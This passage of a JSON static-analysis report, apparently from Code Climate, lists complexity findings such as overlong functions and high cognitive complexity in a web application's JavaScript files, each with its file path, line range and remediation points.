refactoring.","fingerprint":"c5ffd1e9b7f7eb20d76540029db76ea5","location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":19,"end":107}},"other_locations":[],"remediation_points":1632000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `ContributorsMasterGraph` has 98 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"c90cea5a64860bd8ebc11adfe43f966f","location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":109,"end":225}},"other_locations":[],"remediation_points":2352000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `ContributorsAuthorGraph` has 75 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"cb2ba67ac3c7b0319408d414f7ab4a89","location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":227,"end":314}},"other_locations":[],"remediation_points":1800000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `parse_log` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"54a68f13ca92482f197897caa4dde8c6","location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_util.js","lines":{"begin":5,"end":31}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `renderSidebar` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7a8652d503fb546ee9566f5bf3f473ac","location":{"path":"app/assets/javascripts/pages/projects/wikis/wikis.js","lines":{"begin":54,"end":66}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `activity_calendar.js` has 257 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"c8cf6370baf6d39528465c33a636bdaa","location":{"path":"app/assets/javascripts/pages/users/activity_calendar.js","lines":{"begin":1,"end":300}},"other_locations":[],"remediation_points":1300800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `constructor` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"12e8c60549aefe50a5602474054d85e9","location":{"path":"app/assets/javascripts/pages/users/activity_calendar.js","lines":{"begin":46,"end":115}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 49 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"70826affaa552c98140c396bd20b2321","location":{"path":"app/assets/javascripts/pages/users/activity_calendar.js","lines":{"begin":46,"end":115}},"other_locations":[],"remediation_points":1176000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `renderDays` has 37 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"b25511a5a67d72f5494bf518b57f8945","location":{"path":"app/assets/javascripts/pages/users/activity_calendar.js","lines":{"begin":144,"end":182}},"other_locations":[],"remediation_points":888000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `renderKey` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f239dc6410f68cc561519c650b54fe79","location":{"path":"app/assets/javascripts/pages/users/activity_calendar.js","lines":{"begin":226,"end":257}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 65 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"910e3f36c66a265e42a8eaf26a167c4b","location":{"path":"app/assets/javascripts/pages/search/show/search.js","lines":{"begin":6,"end":77}},"other_locations":[],"remediation_points":1560000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `showPreview` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"1721f777313e23b7b202fa7491480968","location":{"path":"app/assets/javascripts/behaviors/preview_markdown.js","lines":{"begin":29,"end":64}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `copy_as_gfm.js` has 400 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"ac03b65c923edc62a2698fa8d47bed20","location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":1,"end":510}},"other_locations":[],"remediation_points":3360000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `transformCodeSelection` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c2c7d04215c2bd2989380d4ec16d2fdd","location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":392,"end":428}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `nodeToGFM` has a Cognitive Complexity of 20 (exceeds 5 allowed). Consider refactoring.","fingerprint":"203624a0d90ac2910cd61598bd1ba9c4","location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":430,"end":473}},"other_locations":[],"remediation_points":1650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`gfmRules` has 23 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"4cef7679aa1f25cb0fb0333b4dfea466","location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":169,"end":306}},"other_locations":[],"remediation_points":1500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `transformCodeSelection` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"cc79eaa8e95f40163769d11480f6ca8c","location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":392,"end":428}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `nodeToGFM` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"abacf74acfb9ae1429676cb952d5250f","location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":430,"end":473}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":472,"end":472}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"4dc32f63393b2dba3bb2b4186a5a9d3c"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initPageShortcuts` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"7e91b97abbe33722ed743c916435f0ab","location":{"path":"app/assets/javascripts/behaviors/shortcuts.js","lines":{"begin":3,"end":35}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"3992dd4b39964f74489f5037465f0968","location":{"path":"app/assets/javascripts/behaviors/shortcuts/shortcuts.js","lines":{"begin":18,"end":51}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `updateTopState` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4115079d252dabe584b1839baffa5696","location":{"path":"app/assets/javascripts/issue.js","lines":{"begin":46,"end":74}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `bindEvents` has 99 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d911289330106e823f8b66a27a6de9a8","location":{"path":"app/assets/javascripts/projects/project_new.js","lines":{"begin":38,"end":154}},"other_locations":[],"remediation_points":2376000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `chooseTemplate` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"38d61f9d4b3748a9e5ab863d54f4ccf8","location":{"path":"app/assets/javascripts/projects/project_new.js","lines":{"begin":98,"end":130}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `search_autocomplete.js` has 417 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"92cc9af55c3a4ab73da8e1f0d3edd029","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":1,"end":506}},"other_locations":[],"remediation_points":3604800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `getData` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fc8158cb371adf854571129bd363b7ef","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":149,"end":251}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `getCategoryContents` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d8c7fe125446a794240cdecc04543593","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":253,"end":305}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `onSearchInputKeyUp` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4f647cc28b710d6de8a6b35f3f79f3ce","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":348,"end":382}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `onClick` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b118715fdcf7b3e7ac25f69bb1baa423","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":445,"end":458}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`SearchAutocomplete` has 28 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"4afabdab2d1c2b911d6a1c563638e8e6","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":71,"end":501}},"other_locations":[],"remediation_points":2000000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setSearchOptions` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ba3145218ad79282dc1d42a52ae16802","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":32,"end":69}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"27f6673ed668afd5ac9f3fd3c02a5e40","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":72,"end":103}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `getData` has 86 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"a21aceb13c361e2e3e0299baa560bed5","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":149,"end":251}},"other_locations":[],"remediation_points":2064000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `getCategoryContents` has 45 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"415e6e1a246f7b01199ed828bdebb278","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":253,"end":305}},"other_locations":[],"remediation_points":1080000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `onSearchInputKeyUp` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"438f5589be7d3c9865113320e8a85fc4","location":{"path":"app/assets/javascripts/search_autocomplete.js","lines":{"begin":348,"end":382}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `highlighter` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"034f805c8a510c0c46e35c2e4fb8d329","location":{"path":"app/assets/javascripts/project_find_file.js","lines":{"begin":10,"end":32}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `selectRow` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b2917d9725004429f0a4319beac0822e","location":{"path":"app/assets/javascripts/project_find_file.js","lines":{"begin":123,"end":143}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `constructor` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1b590709d469cb1c8c28f467e53d2154","location":{"path":"app/assets/javascripts/namespace_select.js","lines":{"begin":8,"end":58}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 48 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"af0c07eddd69b8e22c3e13c7474122a1","location":{"path":"app/assets/javascripts/namespace_select.js","lines":{"begin":8,"end":58}},"other_locations":[],"remediation_points":1152000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `toggleDiff` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"098b6e689349244e7adddfcad90974a3","location":{"path":"app/assets/javascripts/single_file_diff.js","lines":{"begin":41,"end":62}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `onSaveClicked` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"18922f177ff6315e508e19e5d7a6cd4d","location":{"path":"app/assets/javascripts/ci_variable_list/ajax_variable_list.js","lines":{"begin":53,"end":90}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"cf8b6d0bf24fc15e2c0e87e1c6b6a636","location":{"path":"app/assets/javascripts/ci_variable_list/ci_variable_list.js","lines":{"begin":19,"end":62}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `jumpToNextUnresolvedDiscussion` has a Cognitive Complexity of 54 (exceeds 5 allowed). Consider refactoring.","fingerprint":"792eaacd2770c50c0a42bce535c7bee9","location":{"path":"app/assets/javascripts/diff_notes/components/jump_to_discussion.js","lines":{"begin":61,"end":208}},"other_locations":[],"remediation_points":5050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `jumpToNextUnresolvedDiscussion` has 102 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"784d361fd1ec4da2fc3be0e85d1e354e","location":{"path":"app/assets/javascripts/diff_notes/components/jump_to_discussion.js","lines":{"begin":61,"end":208}},"other_locations":[],"remediation_points":2448000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `buttonText` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5b0d7c1b1146fa7930c3c14fef72db27","location":{"path":"app/assets/javascripts/diff_notes/components/comment_resolve_btn.js","lines":{"begin":31,"end":45}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `diffNotesCompileComponents` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ec443ad0f520ec34248990713c0f0b5a","location":{"path":"app/assets/javascripts/diff_notes/diff_notes_bundle.js","lines":{"begin":30,"end":68}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Function `queryTimeSeries` has 7 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"01a425e5bd2ad64d006f35854f477ad0","location":{"path":"app/assets/javascripts/monitoring/utils/multiple_time_series.js","lines":{"begin":33,"end":33}},"other_locations":[],"remediation_points":525000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `queryTimeSeries` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f1015e96e281a9a77bdaeeba619aa36b","location":{"path":"app/assets/javascripts/monitoring/utils/multiple_time_series.js","lines":{"begin":33,"end":165}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `queryTimeSeries` has 110 lines of code (exceeds 25 allowed). Consider 